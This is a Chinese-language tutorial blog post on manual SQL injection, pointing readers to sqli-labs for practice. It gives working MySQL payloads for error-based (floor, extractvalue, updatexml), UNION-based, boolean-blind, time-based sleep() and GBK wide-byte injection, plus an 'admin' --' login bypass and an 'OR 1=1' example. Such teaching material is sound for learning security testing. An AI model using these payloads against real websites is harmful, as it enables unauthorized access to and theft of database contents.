SQL注入(手工注入)

本文介绍了SQL注入的基本概念,包括可能出现的位置、主要分类及其利用方法。详细解析了报错注入、联合查询、布尔盲注等技术手段,并提供了具体的示例代码。

一.sql注入出现在哪里

与数据库交互的地方,有参数传递,get,post,http头,cookie。

二.注入分类

在数据库中 information_schema保存所有数据库中所有的库名,这样我们找库名找表名找字段可以用 information_schema.tables; information_schema.columns来找出我们想要的数据。
1、报错注入的用法
首先我们要注入符号(脑洞大开)去让它进行报错(例如我在参数后面的值加一个单引号)。
(1)floor
?参数=1 '+and (select 1 from(select count(*),concat((selectversion()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
(2)ExtractValue(有长度限制,最长32位)
?参数=1 ' +and extractvalue(1,concat(0x7e,(select group_concat(version())),0x7e))--+
(3)UpdateXml(有长度限制,最长32位)
?参数=1 '+and Updatexml(1,concat(0x7e,(select group_concat(version())),0x7e),1)--+
(4)NAME_CONST(适用于低版本) 不常用
2、联合查询
1)首先看看有没有回显,用order by来看;用法:?参数=1 order by 数字;例如有5列,
?参数=1 order by 5 返回的是一个正确的界面。
(2)下面就用联合查询看看显示位在哪里(这里参数后面的值放入一个假值)
?参数=1 and 0(假值)union select 1,2,3,4,5 --+(后面的注释掉)
(3)例如显示位在第三位,就在你能看到的第三位进行注入
?参数=1 and 0 union select 1,2,version(),4,5 --+
3、布尔盲注
通过网页仅仅返回True(页面)和False(页面).可以通过构造逻辑判断正误。
eg1:查看当前版本第一个字符是不是5,用返回信息真假判断。
?参数=1'select mid(version(),1,1)=5 --+
eg2:返回正常,没有返回404(报错)页面,证明库的长度为8字节
?参数=1' and length(database())=8--+
4、时间沉睡注入
使用条件语句来判断我们的操作是否正确。使用if或if()函数来判断,sleep()函数,BENCHMARK()函数(不建议使用)。 用ASCII() =>字符转换为ascii码,substr()=> 字符串截取函数。 用二分法获取
eg:类似于布尔盲注,当网页刷新时间为5秒证明是正确的。
?id=2" and if(ascii(substr(database(),1,1))>114,1,sleep(5)) --+
5、宽字节注入
原理:myqsl在使用GBK编码的时候,会认为两个字符为一个汉字。这里我们可以用url编码和16进制来解决。构造方法 (1)使用%df用来把\过滤掉 (2)将\'中的\过滤掉 %**%5c%5c%27
eg:此网站过滤了单引号(')反斜杠(\)
?参数=-1%df%27union select 1,database(),3--+ 

练习sql注入可以通过sqli-labs来练习
### 构建SQL注入语句 对于手工构造SQL注入语句,考虑一个登录验证场景下的SQL查询语句: ```sql SELECT * FROM users WHERE username='input_username' AND password='input_password'; ``` 如果`input_username`和`input_password`来自用户的输入而未经适当处理,则可以利用此漏洞。例如,用户提交如下数据作为用户名: ```plaintext admin' -- ``` 这里的两个连字符(`--`)标志着SQL注释的开始[^1]。 因此原始查询变为: ```sql SELECT * FROM users WHERE username='admin' -- ' AND password='any_input'; ``` 由于双连字符后面的内容被视为注释,所以实际上只执行了前面的部分,这意味着无论提供的密码是什么,只要用户名设置为上述模式,就可能绕过身份验证逻辑成功登录。 另一个例子涉及从URL参数获取ID的情况,像这样: ```plaintext http://example.com/article.php?id=5 ``` 对应的SQL可能是: ```sql SELECT title, content FROM articles WHERE id = $_GET['id']; ``` 假设攻击者修改URL为: ```plaintext http://example.com/article.php?id=5 OR 1=1 ``` 那么完整的SQL会变成: ```sql SELECT title, content FROM articles WHERE id = 5 OR 1=1; ``` 因为`OR 1=1`总是成立,这将返回表中所有的记录而不是仅仅指定编号的文章条目。 为了进一步探索数据库结构,还可以尝试联合查询(UNION SELECT),这是一种更为复杂的技巧,允许攻击者附加额外的选择子句来检索其他表格的信息。例如: ```sql ... UNION SELECT column_name(s) FROM another_table ... ``` 需要注意的是,成功的SQL注入不仅依赖于找到合适的入口点,还需要理解目标系统的内部工作原理以及所使用的具体RDBMS特性[^2]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值